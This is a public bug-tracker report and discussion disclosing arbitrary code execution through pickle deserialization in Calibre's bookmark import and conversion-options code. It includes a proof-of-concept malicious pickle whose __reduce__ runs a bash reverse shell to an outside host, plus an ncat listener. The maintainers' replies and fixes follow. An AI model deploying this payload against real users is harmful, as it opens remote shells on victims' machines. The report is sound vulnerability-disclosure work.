Code Execution in Calibre as a resut of the use of Pickle

Bug #1753870 reported by -
This bug affects 1 person
Affects Status Importance Assigned to Milestone

Bug Description

A malicious pickle file can be used to trigger remote code execution in
Calibre E-book Manager.

# Affected Versions

This vulnerability affects all operating systems Calibre supports and is
present in the latest version (3.18) of the application.

# Description

Calibre E-book Manager uses the Python `pickle` module for serialization in
multiple places. This is a dangerous pattern because the deserialization of
malicious pickle data can result in the execution of arbitrary Python code.

There are two specific functionality in Calibre where the use of pickle can be
leveraged by an attacker to obtain code execution by social engineering a

Firstly, Calibre allows users to export and import bookmark data from a
specific ebook. `src/calibre/gui2/viewer/` contains code that
imports a previously exported file containing bookmark information. This file
data is directly passed into `cPickle.load`.

206 files = choose_files(self, 'export-viewer-bookmarks', _('Import bookmarks'),
207 filters=[(_('Saved bookmarks'), ['pickle'])], all_files=False, select_only_single_file=True)
208 if not files:
209 return
210 filename = files[0]
212 imported = None
213 with open(filename, 'rb') as fileobj:
214 imported = cPickle.load(fileobj)

Secondly, Calibre stores metadata in `metadata.db`, a SQLite database file.
`src/calibre/db/` contains code that deserializes data contained in
one of the tables of the database. This code can be triggered by attempting a
file format conversion of an ebook.

1694 def conversion_options(self, book_id, fmt):
1695 for (data,) in self.conn.get('SELECT data FROM conversion_options WHERE book=? AND format=?', (book_id, fmt.upper())):
1696 if data:
1697 return cPickle.loads(bytes(data))

# Proof of Concept

For the proof of concept, we will use a malicious pickle exploited by the below

import cPickle
import os
import base64
import pickletools

class Exploit(object):
    def __reduce__(self):
        return (os.system, (("bash -i >& /dev/tcp/ 0>&1"),))

with open("exploit.pickle", "wb") as f:
    cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)

The exploit will make a reverse shell to a listener on, so we
set that up using `ncat`.

$ ncat -nlvp 8000

Ncat: Version 7.60 ( )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 125E F683 5DA6 153A 6E26 E957 0C92 4706 2596 347C
Ncat: Listening on :::8000
Ncat: Listening on

For the first vulnerability, we open an ebook and navigate to the "Bookmarks"
icon on the left of the screen and click the "Show/hide bookmarks" menu item.
We then click the "Import" button on the bookmarks pane and select the
generated `exploit.pickle` file. This should trigger a reverse shell on our

For the second vulnerability, we click on the arrow on the right of the
"Calibre Library" icon and click the "Export/import all calibre data. We then
click "Import previously exported data" and select the folder containing the
`part-0001.calibre-data` file (uploaded as an attachment). The file contains
the contents of `exploit.pickle` stored in the `data` column of the
`conversion_options` table. Once the data has been exported, we right click the
ebook in the library and select
 "Convert books->Convert individually" This should trigger a reverse shell on
our listener.

CVE References

Revision history for this message
- (ayrx) wrote :
Revision history for this message
- (ayrx) wrote :

While this report directly addresses the two areas where a user of Calibre can be potentially tricked into directly triggering a malicious pickle, there is a very dangerous pattern of using pickle throughout the entire codebase. This should be modified in favour of safer serialisation methods like JSON.

Revision history for this message
Kovid Goyal (kovid) wrote :

calibre does not claim to be secure against a threat that can modify data in the users computer. If you can do that, it is already game over in many many ways, for instance, you can set CALIBRE_DEVELOP_FROM and have calibre execute arbitrary python, or you can install a plugin in the calibre config directory and once again execute arbitrary code. Or you could just modify the calibre program files themselves and once again execute arbitrary code (though this last one typically requires root, unless running calibre portable or similar).

If there is pickle involved in some code path that can be triggered by opening untrusted data, such as an ebook, then that would indeed by a security issue. calibre library exports and config files are explicitly not untrusted data. If you find such a code path involving pickle with untrusted data, I'll be happy to fix it.

Changed in calibre:
status: New → Invalid
Revision history for this message
Kovid Goyal (kovid) wrote :

That said, it is probably a good idea to add a warning when the user imports a bookmark file or a library just as there is a warning when adding a plugin. That will be in the newt release.

Revision history for this message
Kovid Goyal (kovid) wrote :

Oh and I should note that calibre library exports are exports of all calibre data, including plugins (pickle allowing code execution is really irrelevant there).

Revision history for this message
- (ayrx) wrote :

Thanks for the reply.

I agree that the config files being in the pickle format is not directly a security vulnerability. This is why I did not mention them in the actual report. However, changing them in favour of a safer serialisation method is a good idea to consider.

For the actual vulnerability report, I think it is a dangerous idea to write off the threat by saying that bookmarks and export data is considered "untrusted" when it can be triggered from the GUI and it has been shown time and time again that social engineering users to perform certain actions is an effective method of attack. This is especially since there is no good reason that bookmarks or `conversion_options` needs to be serialised with pickle instead of something safer like JSON.

I see that you have changed bookmarks to use JSON in commit `aeb5b036a0bf657951756688b3c72bd68b6e4a7d`. I hope you can do the same for `conversion_options` and disclose this report when it is done.

Revision history for this message
Kovid Goyal (kovid) wrote :

No, I said that exported data (bookmarks and libraries in this case) are both considered *trusted* when importing. For bookmarks, that can be changed to making them untrusted, as I already did. For export data, it is pointless, since, as I said export data contains the entire calibre config, which in turn contains lots of executable code including plugins. Therefore, changing the conversion_options to not use pickle, does not actually achieve anything, since a malicious actor can simply modify some of the other executable code in the export instead. This has been mitigated by displaying a warning to the user informing them of that when importing exported data. There isn't anything more that can be done there, since exported data will always contain executable code, so if it is tampered with, it is game over.

As for the general argument of not using pickle, I am sympathetic, and indeed newer calibre code does not use pickle, but some legacy parts remain. None of those legacy parts operate on untrusted data, as far as I know.

And just for completeness, I just made a commit to make unpickling of conversion_options safe. But let me emphasize, once again, that this *does not* make exported data safe.

Revision history for this message
- (ayrx) wrote :

Thank you for evaluating my report and pushing out fix so quickly! I must say this is one of the fastest turnarounds of all vulnerabilities I have reported. :)

I would like to make this report public and request a CVE ID to track this issue (specifically the instance where pickle is used for bookmarks export). Do you want to make the request to MITRE for a CVE assignment or shall I do it?

Revision history for this message
Kovid Goyal (kovid) wrote :

Feel free to request a CVE ID yourself and make the bug report public, since the commits fixing it are already public. And thanks for taking the time to investigate the issue and report it :)

information type: Private Security → Public
Eli Schwartz (eschwartz)
information type: Public → Public Security
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.